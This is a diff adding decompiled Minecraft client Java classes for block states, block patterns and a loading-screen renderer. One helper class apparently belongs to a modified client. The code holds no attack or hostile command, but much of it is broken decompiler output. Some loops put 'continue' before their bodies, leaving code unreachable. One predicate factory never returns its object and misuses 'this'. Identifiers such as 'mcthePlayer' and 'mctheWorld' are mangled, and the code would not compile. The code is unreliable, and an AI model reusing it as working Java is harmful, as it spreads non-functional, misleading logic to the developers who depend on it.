+      var10.buildPropertyValueTable(var3);
+    }
+    
+    validStates = ImmutableList.copyOf(var4);
+  }
+  
+  public ImmutableList getValidStates()
+  {
+    return validStates;
+  }
+  
+  private List getAllowedValues()
+  {
+    ArrayList var1 = Lists.newArrayList();
+    
+    for (int var2 = 0; var2 < properties.size(); var2++)
+    {
+      var1.add(((IProperty)properties.get(var2)).getAllowedValues());
+    }
+    
+    return var1;
+  }
+  
+  public IBlockState getBaseState()
+  {
+    return (IBlockState)validStates.get(0);
+  }
+  
+  public Block getBlock()
+  {
+    return block;
+  }
+  
+  public Collection getProperties()
+  {
+    return properties;
+  }
+  
+  public String toString()
+  {
+    return com.google.common.base.Objects.toStringHelper(this).add("block", Block.blockRegistry.getNameForObject(block)).add("properties", Iterables.transform(properties, GET_NAME_FUNC)).toString();
+  }
+  
+  static class StateImplemenation extends BlockStateBase
+  {
+    private final Block block;
+    private final ImmutableMap properties;
+    private ImmutableTable propertyValueTable;
+    private static final String __OBFID = "CL_00002027";
+    
+    private StateImplemenation(Block p_i45660_1_, ImmutableMap p_i45660_2_)
+    {
+      block = p_i45660_1_;
+      properties = p_i45660_2_;
+    }
+    
+    public Collection getPropertyNames()
+    {
+      return java.util.Collections.unmodifiableCollection(properties.keySet());
+    }
+    
+    public Comparable getValue(IProperty property)
+    {
+      if (!properties.containsKey(property))
+      {
+        throw new IllegalArgumentException("Cannot get property " + property + " as it does not exist in " + block.getBlockState());
+      }
+      
+
+      return (Comparable)property.getValueClass().cast(properties.get(property));
+    }
+    
+
+    public IBlockState withProperty(IProperty property, Comparable value)
+    {
+      if (!properties.containsKey(property))
+      {
+        throw new IllegalArgumentException("Cannot set property " + property + " as it does not exist in " + block.getBlockState());
+      }
+      if (!property.getAllowedValues().contains(value))
+      {
+        throw new IllegalArgumentException("Cannot set property " + property + " to " + value + " on block " + Block.blockRegistry.getNameForObject(block) + ", it is not an allowed value");
+      }
+      
+
+      return properties.get(property) == value ? this : (IBlockState)propertyValueTable.get(property, value);
+    }
+    
+
+    public ImmutableMap getProperties()
+    {
+      return properties;
+    }
+    
+    public Block getBlock()
+    {
+      return block;
+    }
+    
+    public boolean equals(Object p_equals_1_)
+    {
+      return this == p_equals_1_;
+    }
+    
+    public int hashCode()
+    {
+      return properties.hashCode();
+    }
+    
+    public void buildPropertyValueTable(Map map)
+    {
+      if (propertyValueTable != null)
+      {
+        throw new IllegalStateException();
+      }
+      
+
+      HashBasedTable var2 = HashBasedTable.create();
+      Iterator var3 = properties.keySet().iterator();
+      Iterator var5;
+      for (; var3.hasNext(); 
+          
+
+
+
+          var5.hasNext())
+      {
+        IProperty var4 = (IProperty)var3.next();
+        var5 = var4.getAllowedValues().iterator();
+        
+        continue;
+        
+        Comparable var6 = (Comparable)var5.next();
+        
+        if (var6 != properties.get(var4))
+        {
+          var2.put(var4, var6, map.get(setPropertyValue(var4, var6)));
+        }
+      }
+      
+
+      propertyValueTable = ImmutableTable.copyOf(var2);
+    }
+    
+
+    private Map setPropertyValue(IProperty property, Comparable value)
+    {
+      HashMap var3 = Maps.newHashMap(properties);
+      var3.put(property, value);
+      return var3;
+    }
+    
+    StateImplemenation(Block p_i45661_1_, ImmutableMap p_i45661_2_, Object p_i45661_3_)
+    {
+      this(p_i45661_1_, p_i45661_2_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/state/BlockStateBase.java b/src/minecraft/net/minecraft/block/state/BlockStateBase.java
new file mode 100644
index 0000000..4555744
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/state/BlockStateBase.java
@@ -0,0 +1,137 @@
+package net.minecraft.block.state;
+
+import com.google.common.base.Function;
+import com.google.common.base.Joiner;
+import com.google.common.collect.ImmutableMap;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map.Entry;
+import net.minecraft.block.Block;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+
+public abstract class BlockStateBase implements IBlockState
+{
+  private static final Joiner COMMA_JOINER = Joiner.on(',');
+  private static final Function field_177233_b = new Function()
+  {
+    private static final String __OBFID = "CL_00002031";
+    
+    public String func_177225_a(Map.Entry p_177225_1_) {
+      if (p_177225_1_ == null)
+      {
+        return "<NULL>";
+      }
+      
+
+      IProperty var2 = (IProperty)p_177225_1_.getKey();
+      return var2.getName() + "=" + var2.getName((Comparable)p_177225_1_.getValue());
+    }
+    
+    public Object apply(Object p_apply_1_)
+    {
+      return func_177225_a((Map.Entry)p_apply_1_);
+    }
+  };
+  private static final String __OBFID = "CL_00002032";
+  private int blockId = -1;
+  private int blockStateId = -1;
+  private int metadata = -1;
+  private ResourceLocation blockLocation = null;
+  
+  public BlockStateBase() {}
+  
+  public int getBlockId() { if (blockId < 0)
+    {
+      blockId = Block.getIdFromBlock(getBlock());
+    }
+    
+    return blockId;
+  }
+  
+  public int getBlockStateId()
+  {
+    if (blockStateId < 0)
+    {
+      blockStateId = Block.getStateId(this);
+    }
+    
+    return blockStateId;
+  }
+  
+  public int getMetadata()
+  {
+    if (metadata < 0)
+    {
+      metadata = getBlock().getMetaFromState(this);
+    }
+    
+    return metadata;
+  }
+  
+  public ResourceLocation getBlockLocation()
+  {
+    if (blockLocation == null)
+    {
+      blockLocation = ((ResourceLocation)Block.blockRegistry.getNameForObject(getBlock()));
+    }
+    
+    return blockLocation;
+  }
+  
+
+
+
+
+  public IBlockState cycleProperty(IProperty property)
+  {
+    return withProperty(property, (Comparable)cyclePropertyValue(property.getAllowedValues(), getValue(property)));
+  }
+  
+
+
+
+
+
+
+  protected static Object cyclePropertyValue(Collection values, Object currentValue)
+  {
+    Iterator var2 = values.iterator();
+    
+    while (var2.hasNext())
+    {
+      if (var2.next().equals(currentValue))
+      {
+        if (var2.hasNext())
+        {
+          return var2.next();
+        }
+        
+        return values.iterator().next();
+      }
+    }
+    
+    return var2.next();
+  }
+  
+  public String toString()
+  {
+    StringBuilder var1 = new StringBuilder();
+    var1.append(Block.blockRegistry.getNameForObject(getBlock()));
+    
+    if (!getProperties().isEmpty())
+    {
+      var1.append("[");
+      COMMA_JOINER.appendTo(var1, com.google.common.collect.Iterables.transform(getProperties().entrySet(), field_177233_b));
+      var1.append("]");
+    }
+    
+    return var1.toString();
+  }
+  
+  public com.google.common.collect.ImmutableTable<IProperty, Comparable, IBlockState> getPropertyValueTable()
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/state/BlockWorldState.java b/src/minecraft/net/minecraft/block/state/BlockWorldState.java
new file mode 100644
index 0000000..72b5774
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/state/BlockWorldState.java
@@ -0,0 +1,64 @@
+package net.minecraft.block.state;
+
+import com.google.common.base.Predicate;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockWorldState
+{
+  private final World world;
+  private final BlockPos pos;
+  private IBlockState field_177514_c;
+  private TileEntity field_177511_d;
+  private boolean field_177512_e;
+  private static final String __OBFID = "CL_00002026";
+  
+  public BlockWorldState(World worldIn, BlockPos p_i45659_2_)
+  {
+    world = worldIn;
+    pos = p_i45659_2_;
+  }
+  
+  public IBlockState func_177509_a()
+  {
+    if ((field_177514_c == null) && (world.isBlockLoaded(pos)))
+    {
+      field_177514_c = world.getBlockState(pos);
+    }
+    
+    return field_177514_c;
+  }
+  
+  public TileEntity func_177507_b()
+  {
+    if ((field_177511_d == null) && (!field_177512_e))
+    {
+      field_177511_d = world.getTileEntity(pos);
+      field_177512_e = true;
+    }
+    
+    return field_177511_d;
+  }
+  
+  public BlockPos getPos()
+  {
+    return pos;
+  }
+  
+  public static Predicate hasState(Predicate p_177510_0_)
+  {
+    new Predicate()
+    {
+      private static final String __OBFID = "CL_00002025";
+      
+      public boolean func_177503_a(BlockWorldState p_177503_1_) {
+        return (p_177503_1_ != null) && (BlockWorldState.this.apply(p_177503_1_.func_177509_a()));
+      }
+      
+      public boolean apply(Object p_apply_1_) {
+        return func_177503_a((BlockWorldState)p_apply_1_);
+      }
+    };
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/state/IBlockState.java b/src/minecraft/net/minecraft/block/state/IBlockState.java
new file mode 100644
index 0000000..f56c64f
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/state/IBlockState.java
@@ -0,0 +1,21 @@
+package net.minecraft.block.state;
+
+import com.google.common.collect.ImmutableMap;
+import java.util.Collection;
+import net.minecraft.block.Block;
+import net.minecraft.block.properties.IProperty;
+
+public abstract interface IBlockState
+{
+  public abstract Collection getPropertyNames();
+  
+  public abstract Comparable getValue(IProperty paramIProperty);
+  
+  public abstract IBlockState withProperty(IProperty paramIProperty, Comparable paramComparable);
+  
+  public abstract IBlockState cycleProperty(IProperty paramIProperty);
+  
+  public abstract ImmutableMap getProperties();
+  
+  public abstract Block getBlock();
+}
diff --git a/src/minecraft/net/minecraft/block/state/pattern/BlockHelper.java b/src/minecraft/net/minecraft/block/state/pattern/BlockHelper.java
new file mode 100644
index 0000000..31c6070
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/state/pattern/BlockHelper.java
@@ -0,0 +1,101 @@
+package net.minecraft.block.state.pattern;
+
+import com.enjoytheban.utils.Helper;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockAir;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+
+public class BlockHelper implements com.google.common.base.Predicate
+{
+  private final Block block;
+  private static final String __OBFID = "CL_00002020";
+  
+  private BlockHelper(Block p_i45654_1_)
+  {
+    block = p_i45654_1_;
+  }
+  
+  public static BlockHelper forBlock(Block p_177642_0_) {
+    return new BlockHelper(p_177642_0_);
+  }
+  
+  public boolean isBlockEqualTo(IBlockState p_177643_1_) {
+    return (p_177643_1_ != null) && (p_177643_1_.getBlock() == block);
+  }
+  
+  public boolean apply(Object p_apply_1_) {
+    return isBlockEqualTo((IBlockState)p_apply_1_);
+  }
+  
+  public static Block getBlock(double x, double y, double z) {
+    return mctheWorld.getBlockState(new BlockPos(x, y, z)).getBlock();
+  }
+  
+  public static boolean insideBlock() {
+    for (int x = MathHelper.floor_double(mcthePlayer.boundingBox.minX); x < 
+          MathHelper.floor_double(mcthePlayer.boundingBox.maxX) + 1; x++) {
+      for (int y = MathHelper.floor_double(mcthePlayer.boundingBox.minY); y < 
+            MathHelper.floor_double(mcthePlayer.boundingBox.maxY) + 1; y++) {
+        for (int z = MathHelper.floor_double(mcthePlayer.boundingBox.minZ); z < 
+              MathHelper.floor_double(mcthePlayer.boundingBox.maxZ) + 1; z++) {
+          Block block = mctheWorld.getBlockState(new BlockPos(x, y, z)).getBlock();
+          if ((block != null) && (!(block instanceof BlockAir))) {
+            AxisAlignedBB boundingBox = block.getCollisionBoundingBox(mctheWorld, 
+              new BlockPos(x, y, z), mctheWorld.getBlockState(new BlockPos(x, y, z)));
+            if ((block instanceof net.minecraft.block.BlockHopper)) {
+              boundingBox = new AxisAlignedBB(x, y, z, x + 1, y + 1, z + 1);
+            }
+            if ((boundingBox != null) && (mcthePlayer.boundingBox.intersectsWith(boundingBox))) {
+              return true;
+            }
+          }
+        }
+      }
+    }
+    return false;
+  }
+  
+  public static boolean isOnLiquid() {
+    boolean onLiquid = false;
+    int y = (int)mcthePlayer.getEntityBoundingBox().offset(0.0D, -0.01D, 0.0D).minY;
+    for (int x = MathHelper.floor_double(mcthePlayer.getEntityBoundingBox().minX); x < 
+          MathHelper.floor_double(mcthePlayer.getEntityBoundingBox().maxX) + 1; x++) {
+      for (int z = MathHelper.floor_double(mcthePlayer.getEntityBoundingBox().minZ); z < 
+            MathHelper.floor_double(mcthePlayer.getEntityBoundingBox().maxZ) + 1; z++) {
+        Block block = getBlock(x, y, z);
+        if ((block != null) && (!(block instanceof BlockAir))) {
+          if (!(block instanceof net.minecraft.block.BlockLiquid)) {
+            return false;
+          }
+          onLiquid = true;
+        }
+      }
+    }
+    return onLiquid;
+  }
+  
+  public static boolean isInLiquid() {
+    boolean inLiquid = false;
+    int y = (int)mcthePlayer.getEntityBoundingBox().minY;
+    for (int x = MathHelper.floor_double(mcthePlayer.getEntityBoundingBox().minX); x < 
+          MathHelper.floor_double(mcthePlayer.getEntityBoundingBox().maxX) + 1; x++) {
+      for (int z = MathHelper.floor_double(mcthePlayer.getEntityBoundingBox().minZ); z < 
+            MathHelper.floor_double(mcthePlayer.getEntityBoundingBox().maxZ) + 1; z++) {
+        Block block = getBlock(x, y, z);
+        if ((block != null) && (!(block instanceof BlockAir))) {
+          if (!(block instanceof net.minecraft.block.BlockLiquid)) {
+            return false;
+          }
+          inLiquid = true;
+        }
+      }
+    }
+    return inLiquid;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/state/pattern/BlockPattern.java b/src/minecraft/net/minecraft/block/state/pattern/BlockPattern.java
new file mode 100644
index 0000000..b5f05c2
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/state/pattern/BlockPattern.java
@@ -0,0 +1,206 @@
+package net.minecraft.block.state.pattern;
+
+import com.google.common.base.Predicate;
+import com.google.common.cache.CacheBuilder;
+import com.google.common.cache.LoadingCache;
+import java.util.Iterator;
+import net.minecraft.block.state.BlockWorldState;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.Vec3i;
+import net.minecraft.world.World;
+
+public class BlockPattern
+{
+  private final Predicate[][][] field_177689_a;
+  private final int field_177687_b;
+  private final int field_177688_c;
+  private final int field_177686_d;
+  private static final String __OBFID = "CL_00002024";
+  
+  public BlockPattern(Predicate[][][] p_i45657_1_)
+  {
+    field_177689_a = p_i45657_1_;
+    field_177687_b = p_i45657_1_.length;
+    
+    if (field_177687_b > 0)
+    {
+      field_177688_c = p_i45657_1_[0].length;
+      
+      if (field_177688_c > 0)
+      {
+        field_177686_d = p_i45657_1_[0][0].length;
+      }
+      else
+      {
+        field_177686_d = 0;
+      }
+    }
+    else
+    {
+      field_177688_c = 0;
+      field_177686_d = 0;
+    }
+  }
+  
+  public int func_177685_b()
+  {
+    return field_177688_c;
+  }
+  
+  public int func_177684_c()
+  {
+    return field_177686_d;
+  }
+  
+  private PatternHelper func_177682_a(BlockPos p_177682_1_, EnumFacing p_177682_2_, EnumFacing p_177682_3_, LoadingCache p_177682_4_)
+  {
+    for (int var5 = 0; var5 < field_177686_d; var5++)
+    {
+      for (int var6 = 0; var6 < field_177688_c; var6++)
+      {
+        for (int var7 = 0; var7 < field_177687_b; var7++)
+        {
+          if (!field_177689_a[var7][var6][var5].apply(p_177682_4_.getUnchecked(func_177683_a(p_177682_1_, p_177682_2_, p_177682_3_, var5, var6, var7))))
+          {
+            return null;
+          }
+        }
+      }
+    }
+    
+    return new PatternHelper(p_177682_1_, p_177682_2_, p_177682_3_, p_177682_4_);
+  }
+  
+  public PatternHelper func_177681_a(World worldIn, BlockPos p_177681_2_)
+  {
+    LoadingCache var3 = CacheBuilder.newBuilder().build(new CacheLoader(worldIn));
+    int var4 = Math.max(Math.max(field_177686_d, field_177688_c), field_177687_b);
+    Iterator var5 = BlockPos.getAllInBox(p_177681_2_, p_177681_2_.add(var4 - 1, var4 - 1, var4 - 1)).iterator();
+    int var8;
+    int var9; for (; var5.hasNext(); 
+        
+
+
+
+
+        var9 < var8)
+    {
+      BlockPos var6 = (BlockPos)var5.next();
+      EnumFacing[] var7 = EnumFacing.values();
+      var8 = var7.length;
+      
+      var9 = 0; continue;
+      
+      EnumFacing var10 = var7[var9];
+      EnumFacing[] var11 = EnumFacing.values();
+      int var12 = var11.length;
+      
+      for (int var13 = 0; var13 < var12; var13++)
+      {
+        EnumFacing var14 = var11[var13];
+        
+        if ((var14 != var10) && (var14 != var10.getOpposite()))
+        {
+          PatternHelper var15 = func_177682_a(var6, var10, var14, var3);
+          
+          if (var15 != null)
+          {
+            return var15;
+          }
+        }
+      }
+      var9++;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    return null;
+  }
+  
+  protected static BlockPos func_177683_a(BlockPos p_177683_0_, EnumFacing p_177683_1_, EnumFacing p_177683_2_, int p_177683_3_, int p_177683_4_, int p_177683_5_)
+  {
+    if ((p_177683_1_ != p_177683_2_) && (p_177683_1_ != p_177683_2_.getOpposite()))
+    {
+      Vec3i var6 = new Vec3i(p_177683_1_.getFrontOffsetX(), p_177683_1_.getFrontOffsetY(), p_177683_1_.getFrontOffsetZ());
+      Vec3i var7 = new Vec3i(p_177683_2_.getFrontOffsetX(), p_177683_2_.getFrontOffsetY(), p_177683_2_.getFrontOffsetZ());
+      Vec3i var8 = var6.crossProduct(var7);
+      return p_177683_0_.add(var7.getX() * -p_177683_4_ + var8.getX() * p_177683_3_ + var6.getX() * p_177683_5_, var7.getY() * -p_177683_4_ + var8.getY() * p_177683_3_ + var6.getY() * p_177683_5_, var7.getZ() * -p_177683_4_ + var8.getZ() * p_177683_3_ + var6.getZ() * p_177683_5_);
+    }
+    
+
+    throw new IllegalArgumentException("Invalid forwards & up combination");
+  }
+  
+  static class CacheLoader
+    extends com.google.common.cache.CacheLoader
+  {
+    private final World field_177680_a;
+    private static final String __OBFID = "CL_00002023";
+    
+    public CacheLoader(World worldIn)
+    {
+      field_177680_a = worldIn;
+    }
+    
+    public BlockWorldState func_177679_a(BlockPos p_177679_1_)
+    {
+      return new BlockWorldState(field_177680_a, p_177679_1_);
+    }
+    
+    public Object load(Object p_load_1_)
+    {
+      return func_177679_a((BlockPos)p_load_1_);
+    }
+  }
+  
+  public static class PatternHelper
+  {
+    private final BlockPos field_177674_a;
+    private final EnumFacing field_177672_b;
+    private final EnumFacing field_177673_c;
+    private final LoadingCache field_177671_d;
+    private static final String __OBFID = "CL_00002022";
+    
+    public PatternHelper(BlockPos p_i45655_1_, EnumFacing p_i45655_2_, EnumFacing p_i45655_3_, LoadingCache p_i45655_4_)
+    {
+      field_177674_a = p_i45655_1_;
+      field_177672_b = p_i45655_2_;
+      field_177673_c = p_i45655_3_;
+      field_177671_d = p_i45655_4_;
+    }
+    
+    public EnumFacing func_177669_b()
+    {
+      return field_177672_b;
+    }
+    
+    public EnumFacing func_177668_c()
+    {
+      return field_177673_c;
+    }
+    
+    public BlockWorldState func_177670_a(int p_177670_1_, int p_177670_2_, int p_177670_3_)
+    {
+      return (BlockWorldState)field_177671_d.getUnchecked(BlockPattern.func_177683_a(field_177674_a, func_177669_b(), func_177668_c(), p_177670_1_, p_177670_2_, p_177670_3_));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/state/pattern/BlockStateHelper.java b/src/minecraft/net/minecraft/block/state/pattern/BlockStateHelper.java
new file mode 100644
index 0000000..6c01795
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/state/pattern/BlockStateHelper.java
@@ -0,0 +1,74 @@
+package net.minecraft.block.state.pattern;
+
+import com.google.common.base.Predicate;
+import com.google.common.collect.Maps;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import net.minecraft.block.Block;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+
+public class BlockStateHelper implements Predicate
+{
+  private final BlockState field_177641_a;
+  private final Map field_177640_b = Maps.newHashMap();
+  private static final String __OBFID = "CL_00002019";
+  
+  private BlockStateHelper(BlockState p_i45653_1_)
+  {
+    field_177641_a = p_i45653_1_;
+  }
+  
+  public static BlockStateHelper forBlock(Block p_177638_0_)
+  {
+    return new BlockStateHelper(p_177638_0_.getBlockState());
+  }
+  
+  public boolean func_177639_a(IBlockState p_177639_1_)
+  {
+    if ((p_177639_1_ != null) && (p_177639_1_.getBlock().equals(field_177641_a.getBlock())))
+    {
+      Iterator var2 = field_177640_b.entrySet().iterator();
+      
+      Map.Entry var3;
+      Comparable var4;
+      do
+      {
+        if (!var2.hasNext())
+        {
+          return true;
+        }
+        
+        var3 = (Map.Entry)var2.next();
+        var4 = p_177639_1_.getValue((IProperty)var3.getKey());
+      }
+      while (((Predicate)var3.getValue()).apply(var4));
+      
+      return false;
+    }
+    
+
+    return false;
+  }
+  
+
+  public BlockStateHelper func_177637_a(IProperty p_177637_1_, Predicate p_177637_2_)
+  {
+    if (!field_177641_a.getProperties().contains(p_177637_1_))
+    {
+      throw new IllegalArgumentException(field_177641_a + " cannot support property " + p_177637_1_);
+    }
+    
+
+    field_177640_b.put(p_177637_1_, p_177637_2_);
+    return this;
+  }
+  
+
+  public boolean apply(Object p_apply_1_)
+  {
+    return func_177639_a((IBlockState)p_apply_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/state/pattern/FactoryBlockPattern.java b/src/minecraft/net/minecraft/block/state/pattern/FactoryBlockPattern.java
new file mode 100644
index 0000000..1f72d1d
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/state/pattern/FactoryBlockPattern.java
@@ -0,0 +1,138 @@
+package net.minecraft.block.state.pattern;
+
+import com.google.common.base.Joiner;
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.lang.reflect.Array;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import org.apache.commons.lang3.StringUtils;
+
+public class FactoryBlockPattern
+{
+  private static final Joiner field_177667_a = Joiner.on(",");
+  private final List field_177665_b = Lists.newArrayList();
+  private final Map field_177666_c = Maps.newHashMap();
+  private int field_177663_d;
+  private int field_177664_e;
+  private static final String __OBFID = "CL_00002021";
+  
+  private FactoryBlockPattern()
+  {
+    field_177666_c.put(Character.valueOf(' '), Predicates.alwaysTrue());
+  }
+  
+  public FactoryBlockPattern aisle(String... p_177659_1_)
+  {
+    if ((!org.apache.commons.lang3.ArrayUtils.isEmpty(p_177659_1_)) && (!StringUtils.isEmpty(p_177659_1_[0])))
+    {
+      if (field_177665_b.isEmpty())
+      {
+        field_177663_d = p_177659_1_.length;
+        field_177664_e = p_177659_1_[0].length();
+      }
+      
+      if (p_177659_1_.length != field_177663_d)
+      {
+        throw new IllegalArgumentException("Expected aisle with height of " + field_177663_d + ", but was given one with a height of " + p_177659_1_.length + ")");
+      }
+      
+
+      String[] var2 = p_177659_1_;
+      int var3 = p_177659_1_.length;
+      
+      for (int var4 = 0; var4 < var3; var4++)
+      {
+        String var5 = var2[var4];
+        
+        if (var5.length() != field_177664_e)
+        {
+          throw new IllegalArgumentException("Not all rows in the given aisle are the correct width (expected " + field_177664_e + ", found one with " + var5.length() + ")");
+        }
+        
+        char[] var6 = var5.toCharArray();
+        int var7 = var6.length;
+        
+        for (int var8 = 0; var8 < var7; var8++)
+        {
+          char var9 = var6[var8];
+          
+          if (!field_177666_c.containsKey(Character.valueOf(var9)))
+          {
+            field_177666_c.put(Character.valueOf(var9), null);
+          }
+        }
+      }
+      
+      field_177665_b.add(p_177659_1_);
+      return this;
+    }
+    
+
+
+    throw new IllegalArgumentException("Empty pattern for aisle");
+  }
+  
+
+  public static FactoryBlockPattern start()
+  {
+    return new FactoryBlockPattern();
+  }
+  
+  public FactoryBlockPattern where(char p_177662_1_, Predicate p_177662_2_)
+  {
+    field_177666_c.put(Character.valueOf(p_177662_1_), p_177662_2_);
+    return this;
+  }
+  
+  public BlockPattern build()
+  {
+    return new BlockPattern(func_177658_c());
+  }
+  
+  private Predicate[][][] func_177658_c()
+  {
+    func_177657_d();
+    Predicate[][][] var1 = (Predicate[][][])Array.newInstance(Predicate.class, new int[] { field_177665_b.size(), field_177663_d, field_177664_e });
+    
+    for (int var2 = 0; var2 < field_177665_b.size(); var2++)
+    {
+      for (int var3 = 0; var3 < field_177663_d; var3++)
+      {
+        for (int var4 = 0; var4 < field_177664_e; var4++)
+        {
+          var1[var2][var3][var4] = ((Predicate)field_177666_c.get(Character.valueOf(((String[])field_177665_b.get(var2))[var3].charAt(var4))));
+        }
+      }
+    }
+    
+    return var1;
+  }
+  
+  private void func_177657_d()
+  {
+    ArrayList var1 = Lists.newArrayList();
+    Iterator var2 = field_177666_c.entrySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      Map.Entry var3 = (Map.Entry)var2.next();
+      
+      if (var3.getValue() == null)
+      {
+        var1.add(var3.getKey());
+      }
+    }
+    
+    if (!var1.isEmpty())
+    {
+      throw new IllegalStateException("Predicates for character(s) " + field_177667_a.join(var1) + " are missing");
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/AnvilConverterException.java b/src/minecraft/net/minecraft/client/AnvilConverterException.java
new file mode 100644
index 0000000..1d873bb
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/AnvilConverterException.java
@@ -0,0 +1,11 @@
+package net.minecraft.client;
+
+public class AnvilConverterException extends Exception
+{
+  private static final String __OBFID = "CL_00000599";
+  
+  public AnvilConverterException(String p_i2160_1_)
+  {
+    super(p_i2160_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/ClientBrandRetriever.java b/src/minecraft/net/minecraft/client/ClientBrandRetriever.java
new file mode 100644
index 0000000..c18ef53
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/ClientBrandRetriever.java
@@ -0,0 +1,11 @@
+package net.minecraft.client;
+
+public class ClientBrandRetriever {
+  private static final String __OBFID = "CL_00001460";
+  
+  public ClientBrandRetriever() {}
+  
+  public static String getClientModName() {
+    return "vanilla";
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/LoadingScreenRenderer.java b/src/minecraft/net/minecraft/client/LoadingScreenRenderer.java
new file mode 100644
index 0000000..5bc8744
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/LoadingScreenRenderer.java
@@ -0,0 +1,215 @@
+package net.minecraft.client;
+
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.Gui;
+import net.minecraft.client.gui.ScaledResolution;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.shader.Framebuffer;
+import net.minecraft.util.MinecraftError;
+
+public class LoadingScreenRenderer implements net.minecraft.util.IProgressUpdate
+{
+  private String field_73727_a = "";
+  
+
+
+  private Minecraft mc;
+  
+
+
+  private String currentlyDisplayedText = "";
+  private long field_73723_d = Minecraft.getSystemTime();
+  private boolean field_73724_e;
+  private ScaledResolution field_146587_f;
+  private Framebuffer field_146588_g;
+  private static final String __OBFID = "CL_00000655";
+  
+  public LoadingScreenRenderer(Minecraft mcIn)
+  {
+    mc = mcIn;
+    field_146587_f = new ScaledResolution(mcIn);
+    field_146588_g = new Framebuffer(displayWidth, displayHeight, false);
+    field_146588_g.setFramebufferFilter(9728);
+  }
+  
+
+
+
+
+  public void resetProgressAndMessage(String p_73721_1_)
+  {
+    field_73724_e = false;
+    func_73722_d(p_73721_1_);
+  }
+  
+
+
+
+  public void displaySavingString(String message)
+  {
+    field_73724_e = true;
+    func_73722_d(message);
+  }
+  
+  private void func_73722_d(String p_73722_1_)
+  {
+    currentlyDisplayedText = p_73722_1_;
+    
+    if (!mc.running)
+    {
+      if (!field_73724_e)
+      {
+        throw new MinecraftError();
+      }
+    }
+    else
+    {
+      GlStateManager.clear(256);
+      GlStateManager.matrixMode(5889);
+      GlStateManager.loadIdentity();
+      
+      if (OpenGlHelper.isFramebufferEnabled())
+      {
+        int var2 = field_146587_f.getScaleFactor();
+        GlStateManager.ortho(0.0D, field_146587_f.getScaledWidth() * var2, field_146587_f.getScaledHeight() * var2, 0.0D, 100.0D, 300.0D);
+      }
+      else
+      {
+        ScaledResolution var3 = new ScaledResolution(mc);
+        GlStateManager.ortho(0.0D, var3.getScaledWidth_double(), var3.getScaledHeight_double(), 0.0D, 100.0D, 300.0D);
+      }
+      
+      GlStateManager.matrixMode(5888);
+      GlStateManager.loadIdentity();
+      GlStateManager.translate(0.0F, 0.0F, -200.0F);
+    }
+  }
+  
+
+
+
+  public void displayLoadingString(String message)
+  {
+    if (!mc.running)
+    {
+      if (!field_73724_e)
+      {
+        throw new MinecraftError();
+      }
+    }
+    else
+    {
+      field_73723_d = 0L;
+      field_73727_a = message;
+      setLoadingProgress(-1);
+      field_73723_d = 0L;
+    }
+  }
+  
+
+
+
+  public void setLoadingProgress(int progress)
+  {
+    if (!mc.running)
+    {
+      if (!field_73724_e)
+      {
+        throw new MinecraftError();
+      }
+    }
+    else
+    {
+      long var2 = Minecraft.getSystemTime();
+      
+      if (var2 - field_73723_d >= 100L)
+      {
+        field_73723_d = var2;
+        ScaledResolution var4 = new ScaledResolution(mc);
+        int var5 = var4.getScaleFactor();
+        int var6 = var4.getScaledWidth();
+        int var7 = var4.getScaledHeight();
+        
+        if (OpenGlHelper.isFramebufferEnabled())
+        {
+          field_146588_g.framebufferClear();
+        }
+        else
+        {
+          GlStateManager.clear(256);
+        }
+        
+        field_146588_g.bindFramebuffer(false);
+        GlStateManager.matrixMode(5889);
+        GlStateManager.loadIdentity();
+        GlStateManager.ortho(0.0D, var4.getScaledWidth_double(), var4.getScaledHeight_double(), 0.0D, 100.0D, 300.0D);
+        GlStateManager.matrixMode(5888);
+        GlStateManager.loadIdentity();
+        GlStateManager.translate(0.0F, 0.0F, -200.0F);
+        
+        if (!OpenGlHelper.isFramebufferEnabled())
+        {
+          GlStateManager.clear(16640);
+        }
+        
+        Tessellator var8 = Tessellator.getInstance();
+        WorldRenderer var9 = var8.getWorldRenderer();
